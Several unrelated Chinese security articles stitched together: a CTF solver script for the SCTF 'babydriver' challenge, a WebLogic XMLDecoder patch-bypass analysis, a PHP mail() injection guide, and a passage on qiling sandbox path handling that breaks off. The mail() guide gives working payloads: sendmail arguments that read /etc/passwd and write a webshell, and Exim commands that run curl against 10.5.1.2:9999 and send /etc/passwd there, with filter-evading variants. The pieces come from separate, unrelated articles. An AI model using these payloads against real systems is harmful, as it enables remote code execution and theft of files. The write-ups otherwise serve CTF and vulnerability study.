x[i] = int(invert(a[i], p)) * b[i] % p
# assert(x[i] * a[i] % p == b[i])
# print(hex(x[i]))
'''
0xd4933333
0x7bde8f00
0x31d84f77
0xbcd47c10 -> 0xbcd47c
'''
assert((x[3] & 0xff) == 0x10)
x[3] >>= 8
# convert x to byte array
y = []
for i in x:
y.append(i & 0xff)
y.append((i >> 8) & 0xff)
y.append((i >> 16) & 0xff)
y.append((i >> 24) & 0xff)
assert(y[-1] == 0)
x = y[: -1]
del y
def qword(data, index):
x = 0
for i in range(8):
x |= ord(data[i + index]) << (i * 8)
return x
def dword(data, index):
x = 0
for i in range(4):
x |= ord(data[i + index]) << (i * 8)
return x
with open('./babydriver.exe', 'rb') as f:
data = f.read()
def parse_func_fail(i, j):
print 'fail:', i, j
exit(-1)
funcs = []
size = 3600
for i in range(size):
addr = qword(data, 8 * i + 0x93630) - 0x140000C00
s = ''
while True:
s += data[addr]
if s[-4: -1] == '\xCC\xCC\xCC': break
addr += 1
if s[4: 9] != '\xB8\x01\x00\x00\x00': # mov eax, 1
parse_func_fail(i, 0)
if s[9: 12] != '\x48\x6B\xC0': # imul rax, 0x??
parse_func_fail(i, 1)
a = ord(s[12])
s = s[13: ]
if s[11: 13] == '\xC1\xF8': # sar eax, 0x??
b = ord(s[13])
s = s[14: ]
elif s[11: 14] == '\x88\x04\x24':
b = 0
s = s[11:]
else:
parse_func_fail(i, 2)
if s[7: 9] != '\x83\xE0': # and eax, 0x??
parse_func_fail(i, 3)
c = ord(s[9])
s = s[10: ]
if s[7: 9] == '\xC1\xE0': # shl eax, 0x??
d = ord(s[9])
s = s[10: ]
elif s[7: 10] == '\x88\x04\x24':
d = 0
s = s[7: ]
else:
parse_func_fail(i, 4)
if s[8: 11] != '\x48\x6B\xC0': # imul rax, 0x??
parse_func_fail(i, 5)
e = ord(s[11])
s = s[12: ]
if s[15: 17] != '\x0B\xC1': # or eax, ecx
parse_func_fail(i, 6)
s = s[17: ]
if s[26: 28] == '\x48\x2D': # sub rax, 0x????????
f = dword(s, 28)
s = s[32: ]
elif s[26: 29] == '\x48\x83\xE8': # sub rax, 0x??
f = ord(s[29])
s = s[30: ]
elif s[26: 29] == '\x48\xFF\xC8': # dec rax
f = 1
s = s[29: ]
else:
parse_func_fail(i, 7)
if s[11] != '\xC3':
parse_func_fail(i, 8)
'''
enc[e] |= ((input[a] >> b) & c) << d;
point -= f
'''
assert(c == 3)
# funcs.append([a, b, c, d, e, f])
# change order to sort
funcs.append([e, d, a, b, f, i])
funcs.sort()
point_total = 3100
# 3 * 20 == 60 == 4 * 15
# 3 * 20 * 4 * 15 == 3600
# for i in range(size): print i, funcs[i]
values = []
for i in range(60):
values.append([])
for j in range(60):
values[-1].append(funcs[60 * i + j][4])
'''
with open('./values', 'w') as f:
f.write(str(values))
'''
result = [i for i in range(60)]
'''
calculate result
'''
result = [59, 43, 45, 46, 7, 27, 9, 11, 26, 42, 31, 25, 0, 21, 24, 34, 54, 55, 22, 39, 40, 44, 5, 41, 28, 1, 38, 48, 58, 29, 16, 51, 49, 15, 33, 8, 4, 50, 53, 6, 23, 12, 19, 13, 30, 17, 37, 3, 47, 32, 20, 36, 52, 18, 2, 14, 56, 35, 10, 57]
flag = [0] * 20
for i in range(60):
flag[result[i] / 3] |= ((x[i / 4] >> (i % 4 * 2)) & 3) << (result[i] % 3 * 2)
table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{|}'
for i in range(len(flag)):
flag[i] = table[flag[i]]
print(''.join(flag))
最后一个 ‘{‘ 转成 ‘}’ 即可。
flag: SCTF{Dr1ver|Tim3|10} | 社区文章 |
### 前言
Weblogic 当中对 wsdl 中的 soap 消息体解析依赖的是 XMLDecoder 的数据转换
XMLDecoder
其实就是一个将字符串的描述转换成java对象的一个jdk内置工具。因为本身wsdl设计的原因，XMLDecoder的反序列化不用登陆即可利用，处理wsdl消息体就会调用到。
### 黑名单
Weblogic
中使用XMLDecoder对soap解析的是weblogic.wsee.workarea.WorkContextXmlInputAdapter
这个类，目前已公开使用这个类的包有：bea_wls9_async_response.war 和 wls-wsat.war
每一次的补丁都是从 WorkContextXmlInputAdapter 下手，用黑名单的形式阻止恶意类的创建、恶意函数的调用执行。最新
CVE-2019-2725 patch 限制了标签如下：
<object>
<class>
<new>
<method>
<void>
<array>
其中 `<object>、<class>、<new>、<method>` 标签是完全禁止出现的，剩下 `<void>、<array>` 也有很多限制。
`<void>` 的限制如下：
遍历 void 标签的属性，只要存在不是 index 的属性名，就会抛错，无法进行下一步 XMLDecoder 解析
如上图，对 array 标签限制也是很严格的，其中可以指定初始化类的 class 属性被检查，如果不是 byte 值，则抛错，对 length
属性也做了大小检查。
那么除了上述6种标签之外，还有没有标签可以搞事情呢，这就需要深入 XMLDecoder 的解析过程中去了
### xml反序列化解析层
XMLDecoder 使用的是 SAXParser 对xml进行解析，其中可以指定 handler，也就是可以在解析各种标签的过程中用 handler
进行某些特殊处理。XMLDecoder 在 JDK6版本中指定的是 ObjectHandler（weblogic10.3.6版本自带的jdk版本）
在ObjectHandler类中主要关注 startElement 和 endElement
函数。解析到某一标签时，startElement函数中会根据当前标签相关信息生成一个 `MutableExpression`
表达式类，在解析到该标签的闭合处时就会执行 endElement 函数，该函数中则会调用 Expression#getValue
计算值，并且根据需要放入父标签的参数列表中
那当下之急就是需要了解 `MutableExpression` 的工作方式，跟进去看看
从结构上看得出还是很简单的，四个属性，其余全是围绕这几个属性进行get、set操作，那么继续深入上文提到的 getValue 函数，跟到了
java.beans.Expression#getValue 中如下：
上图里的 getValue 函数首先判断 value
是否已经被改变（MutableExpression初始化Expression使用的是第一个构造函数），因为初始化时 value 已经被指定为 unbound
状态。这里有个小细节，假设后续流程中通过 setValue 的操作给 Expression 的 value 值指定为 Object
的对象，那这个判断还是不通过的，因为new的对象会使用新地址。
那么这里大致知道，只要是第一次执行该Expression的时候，肯定是调用了 invoke
函数的，继续跟进去，跟到了java.beans.Statement#invokeInternal中：
其实可以从很小一段代码就可以确认，这就是在进行动态反射调用了。刚好 target 就是从 MutableExpression#getTarget
获得，methodName就是从MutableExpression#getMethodName获得。
分析流程到这里已然明了，ObjectHandler#startElement 根据当前标签信息生成一个 MutableExpression
对象，结束标签时则执行他，执行的时候就根据 MutableExpression 对象属性中的 target 和 methodName
来指定了反射调用的类以及所需要调用执行的函数
那么此时回到 ObjectHandler#startElement 函数中，看看有哪些标签是可用的，部分代码如下：
if (name == "string") {
e.setTarget(String.class);
e.setMethodName("new");
this.isString = true;
} else if (this.isPrimitive(name)) {
Class wrapper = typeNameToClass(name);
e.setTarget(wrapper);
e.setMethodName("new");
this.parseCharCode(name, attributes);
} else if (name == "class") {
e.setTarget(Class.class);
e.setMethodName("forName");
} else if (name == "null") {
e.setTarget(Object.class);
e.setMethodName("getSuperclass");
e.setValue((Object)null);
} else if (name == "void") {
if (e.getTarget() == null) {
e.setTarget(this.eval());
}
} else if (name == "array") {
subtypeName = (String)attributes.get("class");
Class subtype = subtypeName == null ? Object.class : this.classForName2(subtypeName);
length = (String)attributes.get("length");
if (length != null) {
e.setTarget(Array.class);
e.addArg(subtype);
e.addArg(new Integer(length));
} else {
Class arrayClass = Array.newInstance(subtype, 0).getClass();
e.setTarget(arrayClass);
}
} else if (name == "java") {
e.setValue(this.is);
} else if (name != "object") {
this.simulateException("Unrecognized opening tag: " + name + " " + this.attrsToString(attrs));
return;
}
如上述代码块，这就是 ObjectHandler#startElement 函数中对标签名的解析过程了，可见只有
String、class、null、void、array、java、object
还有一些基础类型：boolean、byte、char、short、int、long、float、double
Jdk6中没有实现 new 标签的解析，那么此时只剩下基础类型标签和String、null、java这些标签未被限制
但是经过上文的分析，java 、null 标签已经被 setValue 操作过，所以哪怕是后续过程我们能够指定 Object
对象都是不行的，他们不会再次执行，排除。此时就只剩下 String 和基础类型，仔细看看，他们都有 setTarget 和 setMethodName
的操作，这意味着，顶多就新建一个相关类而已，反射目标类不可控、所调用函数不可控，gg
这个时候应该更仔细的看一看 startElement 的处理逻辑
上图这是在对标签名进行解析前的操作，可以看到提前调用了 setTarget 和 setMethodName
，但是后续解析流程中又会再次调用，则达到了覆盖的目的，比如
`<string class=”Test” method=”orich1” />`
这样的标签会被解析，但是执行到 string 标签解析的时候，会发生如下调用：
if (name == "string") {
e.setTarget(String.class);
e.setMethodName("new");
this.isString = true;
}
那么在这里我自己指定的 class 和 methodName 都会在解析string标签时被覆盖掉
这里陷入了死胡同，我们继续往下看：
上图是完成标签名解析后的最后执行流程，还是在对标签中的属性进行进一步解析，其中 id 和 idref 是对应的，id 对应存入的操作， idref
对应取出的操作，lookup函数如下：
上图可见取出的操作还顺带执行了一次Expression，那么我们可以利用这个逻辑进行一些值的存取操作。回到 startElement
函数中，最后还判断了一个属性：field
获取 field 对应的字符串以后还调用了 getFieldValue ，返回值作为 Expression 的 value 保存，它这里调用了
Expression#getTarget ，在上文的部分代码中可以看到 java 和 object 标签，是不会被覆盖 target 的，java
标签还没有在黑名单中，跟进 getFieldValue继续分析：
上图简单来说就是对某个对象或者某个Class获取指定的属性值
### 两个思路
这里停一停仔细想想。
第一个思路：如果使用 java 标签指定
class（也就是指定target）的话，那么意思就是对指定Class进行属性值获取，emmmm只能获取到static修饰的属性，并且由于
FieldUtil#getField 调用的是 Class#getField 获取的 Field 对象，所以还只能获取到 public
修饰的，总的来说就是只能获取 public static 修饰的属性值，这就比较蛋疼了。要我做开发也不会傻不拉几的写个public static
还给初始化一个对象值（诶还真别说，jdk1.7的利用方式就是这样，而且我还真不是开发，所以真不了解他们就真的会给public static赋初值）。
第二个思路：这时候在挖掘过程中我想的是从 public static 修饰的属性里偷一个 Object 对象来，依靠 id 和 idref 存取的特性，对
java 标签的 setValue 进行覆盖，也就是重新给它一个 Object 对象，来满足如下的判断，并且引发 invoke
的执行（图中的unbound就是一个Object对象），那么岂不是就能java标签指定任意class任意method了吗：
所以我还老老实实fuzz了一下public static修饰符的属性，结果当然是关机睡觉
玩了2天后又打开idea仔细想想，咋们静态的Class不行，我可以整一个动态的对象呀，emmm不过..连初始化任意类的 class
标签都被封了，还整个锤子对象，只有 String 和一堆基础类可以用，于是又漫无目的的翻看这几个类中的属性值
突然想到一个毛病就是，哪怕是我拿到了 Object 对象，没卵用，java标签无法执行。因为即使是重新赋值 value 也不会和 unbound
相等，地址不同23333。
### rce 两个要素
那么又卡住了，重新梳理了一下rce要素：任意类、任意函数
回想 XMLDecoder 在 weblogic 中引发的问题，首先是没有黑名单造成 rce，然后绕过 object 黑名单造成
rce，最近cve-2019-2725的是利用 class 标签创建任意类，在构造函数中完成利用
那么rce两大要素可以在 XMLDecoder 中拆开利用，如果能造成类似 class 标签的效果，指定了任意类，那么在 methodName
不被覆盖的情况下一定会执行任意类的构造函数（上文中对startElement函数的前半段截图中显示，如果methodName为空，则直接指定为
new，这个在后续的反射调用中代指 newInstance 函数）。
那么重点关注一下 setTarget 的调用，在对标签名解析过程中，调用了 setTarget 函数则是对类做了限制，观察到只有三个标签有点东西，java
和 object 标签没有调用 setTarget但是这俩没法利用，还有一个 void 标签：
else if (name == "void") {
if (e.getTarget() == null) {
e.setTarget(this.eval());
}
}
Void 标签在补丁当中只能含有 index 属性，所以不能用 class 也就不能指定 target，但是可以用 eval 函数的返回结果作为
target ：
如上图，他是执行父标签的Expression，又陷入死循环，没有起始入口点，无法指定任意类
### 第三个思路：偏离设计原意制造解析误差
既然rce两要素可以拆开用，那我们分析下如果可以指定任意函数的调用呢？
任意函数调用可以想办法调用到 Class.forName 函数，传入字符串加载指定类，那么就可以达到和 class 标签利用的效果
分析下没有调用 setMethodName 的标签名只有 array 、void、java、object，后三者pass
这个 array 记得好像是有限制的，查看一下补丁：
如上图，提取了 array 标签中的 class 属性和 length 属性，但是对应 MethodName 的 method 属性未被检测，欸可以用
但是注意 array 标签的 target 是被覆盖了的，也就是反射类被指定，如下图：
array 标签的 class 只能被指定为 byte ，那么对应的 target 则是 Byte.class ，如果未指定则是 Object.class
。但是不管如何，setTarget 的参数都是 Array 相关，我们没法拿到 Class.class 不能直接执行 forName
虽然目前我们无法指定任意类，但是已经拿到了任意函数。从设计角度出发，array标签是不可能受理 method
属性的（这一点在jdk1.7的xmldecoder设计模型中就处理得很好），利用jdk1.6中代码逻辑问题制造解析误差，达到任意函数调用的效果
### 又见容错
开始动态调试，用 `<array method="getMethods"` 开始查看有哪些函数
getMethods 只有几个函数，完全不够用，不过有个 getClass 函数，但似乎又没法链式调用，即只能调用一次函数（其实可以通过 id 和
refid 进行链式调用的，但是在这里我就想一发入魂），所以这里也是行不通的
不急，我们还有容错机制帮忙呢，最终反射调用会在java.beans.Statement#invokeInternal里面进行
上图里，我们的 target 是 Class 的子类实现进入if语句块，不满足后续的3个if，此时 m 没有任何赋值，并且 target 也不是
Class.class ，所以进入上图中的第一个框，该target中对应的 method 就那么几个，如果获取不到会返回 null，于是进入最后一个
if，可以看见为了保证程序执行流程的容错性，它自己给我们指定了获取 Class.class 中的函数，那么就不客气了，直接指定
method=”forName”
### 总结
能造成这个问题主要是因为jdk1.6中xmldecoder的解析代码问题，它将所有的标签属性进行统一处理，但是又没有进行有效性验证，所以精心构造肯定会导致一定的解析偏差
还剩下一个可以用的思路，利用 set 和 get 的操作，还有 id 和 refid 属性的特性，构造链式调用 | 社区文章 |
首发绿盟科技博客：http://blog.nsfocus.net/hack-php-mail-additional_parameters/#Hack-4
在CVE-2016-10033中，PHPMailer的RCE火了一把，最近这个RCE又被老外放到wordpress中利用了一波，然后国内也跟着炒了一波，其实背后的锅都得[PHP](http://blog.nsfocus.net/tag/php/)自带的内联函数mail()来背。
## 简介
[PHP](http://blog.nsfocus.net/tag/php/)自带的内联函数mail()是用来发送电子邮件的，看看[PHP](http://blog.nsfocus.net/tag/php/)官方对mail函数的描述：
更详细的描述请查看链接：<http://php.net/manual/en/function.mail.php>
## 测试环境：
Nsctf平台上已经有现成的环境：<http://10.5.0.253:8022/index.php>
具体漏洞代码如下：
很暴力的将用户输入的$email变量带入PHPMailer的setFrom函数，其实就是设置了一个sender值，然后在PHPMailer的send函数中带入了[PHP](http://blog.nsfocus.net/tag/php/)自带的mail()函数的第五个参数中。所以本文我们只关注mail函数的第五个参数的hack姿势。
上面代码产生的漏洞具体的过程大家可以去分分析一下PHPMailer的那个RCE（CVE-2016-10033）就明白了。
首先你的知道，mail函数最后也是调用系统的/usr/bin/sendmail命令来发送邮件的，它由MTA邮件传输代理软件安装在系统上面，比如sendmail、Exim、Postfix等。
## Sendmail MTA的HACK姿势
那么我们来看看mail函数的第五个参数到底是干嘛的。
具体可以看看[PHP](http://blog.nsfocus.net/tag/php/)官方文档对第五个参数的描述。简单说就是这个参数可以通过添加附加的命令作为发送邮件时候的配置，比如使用-f参数可以设置邮件发件人等。
虽然[PHP](http://blog.nsfocus.net/tag/php/)会使用escapeshellcmd函数来过滤参数的内容，对特殊字符的转义来防止恶意命令执行（
_& #;`|\_?~<>^()[]{}$*, _\x0A_ and _\xFF_. _‘_ _“**这些字符都不能使用_
），但是我们可以添加命令执行的其他参数。所问题就转变成如果可以找到可以利用的命令的其他参数就可以成功利用此漏洞了。
下面就来看看/usr/bin/sendmail命令可被我们利用的参数了。
通过阅读sendmail MTA的使用手册：<http://www.sendmail.org/~ca/email/man/sendmail.html>
得到如下参数是可以被我使用过的：
-X logfile是记录log文件的，就是可以写文件；
-C file是临时加载一个配置文件，就是可以读文件；
-O option=value 是临时设置一个邮件存储的临时目录的配置。
### Hack姿势一：任意文件读取
我们输入的email也就是进入第五个参数的值为：
123@456 -C/etc/passwd -X/tmp/456
最后系统执行的命令如下：
/usr/bin/sendmail –t –i -f 123@456 -C/etc/passwd -X/tmp/456
意思就是加载临时配置文件/etc/passwd来发送邮件，将日志信息都保存在/tmp/456文件中，如下图，我们在测试环境中使用上述payload，成功在目标系统生成/tmp/456文件，文件内容就是配置文件/etc/passwd的内容，当然你可以加载人以文件为配置文件就达到任意文件读取的目的。
### Hack姿势二：任意文件写入
我们输入的email也就是进入第五个参数的值为：
123@456 -OQueueDirectory=/tmp/ -X/var/www/shell.php
最后系统执行的命令如下：
/usr/bin/sendmail –t –i -f 123@456 -OQueueDirectory=/tmp/ -X/var/www/shell.php
这里的意思就是说我们将发送邮件的信息如body临时文件保存在tmp下面，最后将日志保存在www根目录下shell.php。
但是这里有一个问题就是你必须的指导web根目录才能写webshell。
然后经过研究我们可以使用下面更简单，更短的命令搞定。
123@456 -oQ/tmp -X./shell.php
最后系统执行的命令如下：
/usr/bin/sendmail –t –i -f 123@456 -oQ/tmp -X./shell.php
这里我们就不用知道web根目录，直接写文件到当前目录，写到shell.php文件的内容就是我那个发送邮件的内容了，你可以写任意内容。
如下图成功写入webshell到web目录。
### Hack姿势三：利用配置文件执行代码
上面的姿势二已经可以拿webshell了，那么问题来了：
如果我们当前目录你没权限写怎么办？
或者你写入的文件没办法执行怎么办？
这个时候如果我们能找到一个上传的地方，上传一个静态文件，文件的内容为sendmail的配置文件的内容，复制一份/etc/mail/sendmail.cg，然后在结尾加上一个配置：
Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL,
R=EnvToL/HdrToL,
T=DNS/RFC822/X-Unix,
A=php -- $u $h ${client_addr}
注意标红的这两个地方（$u $h），然后上传这个文件。
**（注意这里是在复制一份原始的配置，然后末尾加上一段，不是修复原有的内容。）**
因为默认系统会使用sendmail-mta来解析发送的邮件内容，这里我们添加一段上面的内容目的就是覆盖默认的解析，使用[php](http://blog.nsfocus.net/tag/php/)来解析邮件内容。
然后我们就是用这个上传的静态文件为临时配置文件来发送邮件，比如上传之后的静态文件为./upload/sendmail_cf，漏洞利用的payload如下：
123@456 -oQ/tmp -X./upload/sendmail_cf
最后系统执行的命令如下：
/usr/bin/sendmail –t –i -f 123@456 -oQ/tmp -X./upload/sendmail_cf
如下如发送邮件时将使用sendmail_cf来解析邮件内容，我们将邮件内容填一段[php](http://blog.nsfocus.net/tag/php/)代码，这个时候这段[php](http://blog.nsfocus.net/tag/php/)代码就能被[php](http://blog.nsfocus.net/tag/php/)来解析了，成功执行我们的[php](http://blog.nsfocus.net/tag/php/)代码。
## Exim4 MTA的HACK姿势
如果系统使用Exim4来发送邮件又该如何利用上面的漏洞呢？
继续阅读Exim4的官方使用手册：<https://linux.die.net/man/8/exim>
然后总结如下参数是可被我们利用的：
Run Exim in expansion testing mode. Exim discards its root privilege,
to prevent ordinary users from using this mode to read otherwise inaccessible files.
If no arguments are given, Exim runs interactively, prompting for lines of data. Otherwise,
it processes each argument in turn.
就是说exim的-be参数支持运行扩展模式，具体扩展模式可运行的内容又得研究一番，相当于一门新的语言了，主要来看看字符串的扩展内容：
<http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html>
然后在这些字符串扩展中，如下内容可被我们利用：
${run{<command> <args>}{<string1>}{<string2>}}
//执行命令<command> <args>，成功返回string1，失败返回string2
${substr{<string1>}{<string2>}{<string3>}}
//字符串的截取，在string3中从string1开始截取string2个字符
${readfile{<file name>}{<eol string>}}
//读文件file name，以eol string分割
${readsocket{<name>}{<request>}{<timeout>}{<eol string>}{<fail string>}}
//发送socket消息，消息内容为request
还有很多其他系统变量也是可以被利用的。
因为在很多时候一些特殊字符不能出现在payload中，比如/，空格，：等，这是系统变量就派上用场了，我们可以使用${substr{<string1>}{<string2>}{<string3>}}来从系统变量的值中截取我们想要的字符，如下图：
### Hack姿势一：命令执行
利用${run{}{}{}}可以执行任意命令，但是这里的命令没有回显，所以得借助数据外带，或者直接让系统反弹一个shell也是ok的。
root@localhost –be ${run{/usr/bin/curl 10.5.1.2:9999/rce.txt}}
root@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}
{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}10.5.1.2$
{substr{13}{1}{$tod_log}}9999${substr{0}{1}{$spool_directory}}rce.txt}}
最后系统执行的命令如下：
/usr/sbin/sendmail –t –i -f root@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr$
{substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}
10.5.1.2${substr{13}{1}{$tod_log}}9999${substr{0}{1}{$spool_directory}}rce.txt}}
这里我们让目标系统执行一个curl，如下图成功接收到请求：
### Hack姿势二：任意文件读取
这里我们使用readsocket和readfile两个结合。
Readsocket可以发送消息到目标链接，readfile可以读任意文件，所以两个结合就可以将读取的文件内容通过readsocket最为消息发送出去，到达任意文件读取的效果。
root@localhost –be ${readsocket{init:10.5.1.2:9999}{${readfile{/etc/passwd}{}}}{3s}{}{failure}}
root@localhost -be ${readsocket{inet${substr{13}{1}{$tod_log}}10.5.1.2${substr{13}{1}{$tod_log}}9999}
{${readfile{${substr{0}{1}{$spool_directory}}etc${substr{0}{1}{$spool_directory}}passwd}{}}}{3s}{}{failure}}
最后系统执行的命令如下：
/usr/sbin/sendmail –t –i -f root@localhost -be ${readsocket{inet${substr{13}{1}{$tod_log}}
10.5.1.2${substr{13}{1}{$tod_log}}9999}{${readfile{${substr{0}{1}{$spool_directory}}etc$
{substr{0}{1}{$spool_directory}}passwd}{}}}{3s}{}{failure}}
### Hack姿势三：Bypass
还有各种编码如base32，base62，base64；加解密md5，sha1，sha3，sha256等，可以用来绕过过滤操作，Bypass
WAF等，具体见exim4的字符串扩展内容。
## 参考链接
<https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html>
<http://php.net/manual/en/function.mail.php>
<http://php.net/escapeshellcmd> | 社区文章 |
**作者：时钟@RainSec
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## qiling
当时题目就给了一个qiling的使用的用例，甚至和官方文档上面的用例差不多因此肯定是库的问题。
#!/usr/bin/env python3
import os
import sys
import base64
import tempfile
# pip install qiling==1.4.1
from qiling import Qiling
def my_sandbox(path, rootfs):
ql = Qiling([path], rootfs)
ql.run()
def main():
sys.stdout.write('Your Binary(base64):\n')
line = sys.stdin.readline()
binary = base64.b64decode(line.strip())
with tempfile.TemporaryDirectory() as tmp_dir:
fp = os.path.join(tmp_dir, 'bin')
with open(fp, 'wb') as f:
f.write(binary)
my_sandbox(fp, tmp_dir)
if __name__ == '__main__':
main()
大致分析qiling源代码发现其加载模拟文件的流程如下（可以看qiling项目core.py文件，其中实现了一个Qiling的类）：
1. 在实例初始化阶段设置一系列基础信息比如当前平台的操作系统及其架构等。
2. 设置运行参数
3. 设置需要的roofs目录，这里也是出问题的一个关键点
4. 设置操作系统和结构
5. 设置大小端序和机器长度
6. 初始化QlCoreStructs结构体，主要是用来pack的
7. 加载loader，主要就是根据os type导入loader文件夹下的不同文件。
8. log日志操作
9. 加载qiling自己实现的内存管理器和寄存器管理器（这个根据interpreter成员来决定是否加载）
10. 根据不同arch架构来加载qiling自己的实现的arch，就在目录的arch下
11. 根据interpreter成员来决定是否初始化QlCoreHooks
12. 启动之前加载loader，加载目标（linux的话里面其实实现了ELF的解析以及加载到内存的整个过程，甚至如果提供了interpreter也可以进行加载，详情可以看loader文件夹下的elf.py），然后起了一个守护页，看注释应该是保护内存的，至此初始化工作完成。
13. 根据interpreter成员来决定是否选择不同的执行模式，一般直接初始化osHook通过os运行目标文件
上面是大致的加载过程，下面分析一下文件是怎么运行起来的（以模拟linux操作系统为例），运行的方式大致是分为运行qiling独立实现的解释器和不使用qiling独立实现的解释器两种，（作者大佬说是区块链智能合约解释器，这块我不是很懂，好像是智能合约bytecode执行，这里主要说os
run）
在QlOsLinux类里面找到相应的run函数：
def run(self):
if self.ql.exit_point is not None:
self.exit_point = self.ql.exit_point
try:
if self.ql.code:
self.ql.emu_start(self.entry_point, (self.entry_point + len(self.ql.code)), self.ql.timeout, self.ql.count)
else:
if self.ql.multithread == True:
# start multithreading
thread_management = thread.QlLinuxThreadManagement(self.ql)
self.ql.os.thread_management = thread_management
thread_management.run()
else:
if self.ql.entry_point is not None:
self.ql.loader.elf_entry = self.ql.entry_point
elif self.ql.loader.elf_entry != self.ql.loader.entry_point:
entry_address = self.ql.loader.elf_entry
if self.ql.archtype == QL_ARCH.ARM and entry_address & 1 == 1:
entry_address -= 1
self.ql.emu_start(self.ql.loader.entry_point, entry_address, self.ql.timeout)
self.ql.enable_lib_patch()
self.run_function_after_load()
self.ql.loader.skip_exit_check = False
self.ql.write_exit_trap()
self.ql.emu_start(self.ql.loader.elf_entry, self.exit_point, self.ql.timeout, self.ql.count)
看了看emu_start，主要是利用unicorn进行模拟执行的。然后看了看linux
OS的初始化，总结下来觉得qiling实现的东西还是很多的，比如自己的os
loader，arch，syscall，hook等，以x86_64架构下的linux为例子看其是如何加载自己的syscall的。
# X8664
elif self.ql.archtype == QL_ARCH.X8664:
self.gdtm = GDTManager(self.ql)
ql_x86_register_cs(self)
ql_x86_register_ds_ss_es(self)
self.ql.hook_insn(self.hook_syscall, UC_X86_INS_SYSCALL)
# Keep test for _cc
#self.ql.hook_insn(hook_posix_api, UC_X86_INS_SYSCALL)
self.thread_class = thread.QlLinuxX8664Thread
def hook_syscall(self, ql, intno = None):
return self.load_syscall()
load_syscall本身比较复杂，通过代码可以看出它都实现了那些[syscall](https://github.com/qilingframework/qiling/blob/master/qiling/os/linux/map_syscall.py)，这里的大部门都是直接使用的系统底层的一些syscall，并不是麒麟自己实现的，可以看他的load_syscall函数[实现](https://github.com/qilingframework/qiling/blob/839e45ed86e56304b93f81a53cf08383d942a494/qiling/os/posix/posix.py#L173)，不过在posix文件夹下的syscall文件夹里面发现其实qiling自己也实现了大量的syscall，这俩种syscall在使用时的区别主要在于要模拟的文件源码中是直接使用的syscall还是类似open的这种函数形式，前者会调用qiling自身实现的，后者则会直接调用对应的系统调用（这块基于推理和调试，不过大致qiling的系统调用就是通过hook进行检测然后通过回调调用对应的代码这样子），调用回溯如下：
其实从上面就可以看出，qiling本身实现的功能还是很多的，比如内存管理，动态模拟不同架构等，但是根据从大佬哪里偷来的经验，首先像python这种高级语言，内存出现问题是很不常见的，大多都是逻辑问题，那么就很可能是实现跟底层系统进行交互的设计出现问题，比如实现的syscall，这也是rwctf的考点。
## 漏洞分析
以qiling实现的[ql_syscall_open](https://github.com/qilingframework/qiling/blob/94bf7a3bc4e3ea0cffaaa52dbc477c11030f631b/qiling/os/posix/syscall/fcntl.py#L15)为例子：
def ql_syscall_open(ql: Qiling, filename: int, flags: int, mode: int):
path = ql.os.utils.read_cstring(filename)
real_path = ql.os.path.transform_to_real_path(path)
relative_path = ql.os.path.transform_to_relative_path(path)
flags &= 0xffffffff
mode &= 0xffffffff
idx = next((i for i in range(NR_OPEN) if ql.os.fd[i] == 0), -1)
if idx == -1:
regreturn = -EMFILE
else:
try:
if ql.archtype== QL_ARCH.ARM and ql.ostype!= QL_OS.QNX:
mode = 0
#flags = ql_open_flag_mapping(ql, flags)
flags = ql_open_flag_mapping(ql, flags)
ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(path, flags, mode)
regreturn = idx
except QlSyscallError as e:
regreturn = - e.errno
ql.log.debug("open(%s, 0o%o) = %d" % (relative_path, mode, regreturn))
if regreturn >= 0 and regreturn != 2:
ql.log.debug(f'File found: {real_path:s}')
else:
ql.log.debug(f'File not found {real_path:s}')
return regreturn
首先通过绝对路径获取模拟执行文件在rootfs下的相对路径，然后将flags传递给ql_open_flag_mapping，然后进行open操作，将得到的fd通过idx索引进行一个存储。
其大致的函数调用链如下：
> ql_syscall_open --> open_ql_file ---> os.open
def open_ql_file(self, path, openflags, openmode, dir_fd=None):
if self.has_mapping(path):
self.ql.log.info(f"mapping {path}")
return self._open_mapping_ql_file(path, openflags, openmode)
else:
if dir_fd:
return ql_file.open(path, openflags, openmode, dir_fd=dir_fd)
real_path = self.ql.os.path.transform_to_real_path(path)
return ql_file.open(real_path, openflags, openmode)
在open_ql_file这里发现可能存在漏洞，函数首先判断文件是否已经打开过了，然后判断是否存在dir_fd，如果不存在的话会调用transform_to_real_path函数，该函数也是实现模拟器文件系统隔离的一个关键，这里面对符号链接文件进行了多重解析，但是好像没对路径进行判断，应该也会出现链接的目标问题，它返回一个文件在系统上面的真实路径，然后由open打开相关文件。
def transform_to_real_path(self, path: str) -> str:
real_path = self.convert_path(self.ql.rootfs, self.cwd, path)
.......
return str(real_path.absolute())
但是真正的隔离其实是convert_path实现的：
@staticmethod
def convert_for_native_os(rootfs: Union[str, Path], cwd: str, path: str) -> Path:
_rootfs = Path(rootfs)
_cwd = PurePosixPath(cwd[1:])
_path = Path(path)
if _path.is_absolute():
return _rootfs / QlPathManager.normalize(_path)
else:
return _rootfs / QlPathManager.normalize(_cwd / _path.as_posix())
def convert_path(self, rootfs: Union[str, Path], cwd: str, path: str) -> Path:
emulated_os = self.ql.ostype
hosting_os = self.ql.platform_os
# emulated os and hosting platform are of the same type
if (emulated_os == hosting_os) or (emulated_os in QL_OS_POSIX and hosting_os in QL_OS_POSIX):
return QlPathManager.convert_for_native_os(rootfs, cwd, path)
elif emulated_os in QL_OS_POSIX and hosting_os == QL_OS.WINDOWS:
return QlPathManager.convert_posix_to_win32(rootfs, cwd, path)
elif emulated_os == QL_OS.WINDOWS and hosting_os in QL_OS_POSIX:
return QlPathManager.convert_win32_to_posix(rootfs, cwd, path)
else:
return QlPathManager.convert_for_native_os(rootfs, cwd, path)
这里建立了rootfs，第一步肯定是想到的路径穿越，比如../../../../这种，但是实验发现../../../test也会被拼接成rootfs/test，原因在于convert_for_native_os函数中利用了normalize进行了处理，导致无法进行路径穿越：
